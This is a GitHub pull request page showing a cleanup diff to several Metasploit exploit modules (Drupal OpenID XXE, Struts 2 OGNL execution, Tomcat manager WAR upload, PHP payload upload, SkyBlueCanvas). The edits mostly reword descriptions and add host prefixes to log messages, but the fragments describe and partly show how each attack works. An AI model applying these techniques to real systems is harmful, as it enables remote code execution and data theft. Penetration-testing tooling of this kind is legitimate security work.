Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Fixup release #2941

Merged
merged 3 commits into from
Feb 3, 2014
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Jump to
Jump to file
Failed to load files.
Diff view
Diff view
15 changes: 8 additions & 7 deletions modules/auxiliary/gather/drupal_openid_xxe.rb
Original file line number Diff line number Diff line change
Expand Up @@ -17,10 +17,11 @@ def initialize(info = {})
super(update_info(info,
'Name' => 'Drupal OpenID External Entity Injection',
'Description' => %q{
This module abuses a XML External Entity Injection on the OpenID module
from Drupal. The vulnerability exists on the parsing of a malformed XRDS
file coming from a malicious OpenID endpoint. This module has been tested
successfully in Drupal 7.15 and 7.2 with the OpenID module enabled.
This module abuses an XML External Entity Injection
vulnerability on the OpenID module from Drupal. The vulnerability exists
in the parsing of a malformed XRDS file coming from a malicious OpenID
endpoint. This module has been tested successfully on Drupal 7.15 and
7.2 with the OpenID module enabled.
},
'License' => MSF_LICENSE,
'Author' =>
Expand Down Expand Up @@ -102,7 +103,7 @@ def check
res = send_openid_auth(signature)

unless res
vprint_status("Connection timed out")
vprint_status("#{peer} - Connection timed out")
return Exploit::CheckCode::Unknown
end

Expand Down Expand Up @@ -157,12 +158,12 @@ def primer

def on_request_uri(cli, request)
if request.uri =~ /#{@prefix}/
vprint_status("Signature found, parsing file...")
vprint_status("#{peer} - Signature found, parsing file...")
@http_loot = parse_loot(request.uri)
return
end

print_status("Sending XRDS...")
print_status("#{peer} - Sending XRDS...")
send_response_html(cli, xrds_file, { 'Content-Type' => 'application/xrds+xml' })
end

Expand Down
4 changes: 2 additions & 2 deletions modules/exploits/multi/http/struts_dev_mode.rb
Original file line number Diff line number Diff line change
Expand Up @@ -13,13 +13,13 @@ class Metasploit3 < Msf::Exploit::Remote

def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Struts Developer Mode OGNL Execution',
'Name' => 'Apache Struts 2 Developer Mode OGNL Execution',
'Description' => %q{
This module exploits a remote command execution vulnerability in Apache
Struts 2. The problem exists on applications running in developer mode,
where the DebuggingInterceptor allows evaluation and execution of OGNL
expressions, which allows remote attackers to execute arbitrary Java
code. This module has been tested successfully in Struts 2.3.16, Tomcat
code. This module has been tested successfully on Struts 2.3.16, Tomcat
7 and Ubuntu 10.04.
},
'Author' =>
Expand Down
8 changes: 4 additions & 4 deletions modules/exploits/multi/http/tomcat_mgr_upload.rb
Original file line number Diff line number Diff line change
Expand Up @@ -17,7 +17,7 @@ class Metasploit3 < Msf::Exploit::Remote

def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Tomcat Manager Application Upload Authenticated Code Execution',
'Name' => 'Apache Tomcat Manager Authenticated Upload Code Execution',
'Description' => %q{
This module can be used to execute a payload on Apache Tomcat servers that
have an exposed "manager" application. The payload is uploaded as a WAR archive
Expand Down Expand Up @@ -198,7 +198,7 @@ def query_status
res = send_request_raw('uri' => path)

unless res and res.code == 200
vprint_error("Failed: Error requesting #{path}")
vprint_error("#{peer} - Failed: Error requesting #{path}")
return nil
end

Expand Down Expand Up @@ -372,7 +372,7 @@ def parse_upload_response(res)

if res.code < 200 or res.code >= 300
vprint_warning("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}") if res.code == 401
vprint_error("Upload failed on #{upload_path} [#{res.code} #{res.message}]")
vprint_error("#{peer} - Upload failed on #{upload_path} [#{res.code} #{res.message}]")
return false
end

Expand Down Expand Up @@ -423,4 +423,4 @@ def undeploy_app
return true
end

end
end
Original file line number Diff line number Diff line change
Expand Up @@ -97,7 +97,7 @@ def upload
data.add_part(php, 'application/octet-stream', nil, "form-data; name=\"fileupload\"; filename=\"#{@fname}\"")
post_data = data.to_s.gsub(/^\r\n--_Part_/, '--_Part_')

print_status("#{peer} - Uploading malicious file...")
print_status("#{peer} - Uploading PHP payload...")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'upload.php'),
Expand Down
2 changes: 2 additions & 0 deletions modules/exploits/unix/webapp/skybluecanvas_exec.rb
Original file line number Diff line number Diff line change
Expand Up @@ -76,6 +76,8 @@ def check
def exploit
uri = normalize_uri(target_uri.path.to_s, "index.php")

vprint_status("#{peer} - Sending request to #{uri}.")

send_request_cgi({
'method' => 'POST',
'uri' => uri,
Expand Down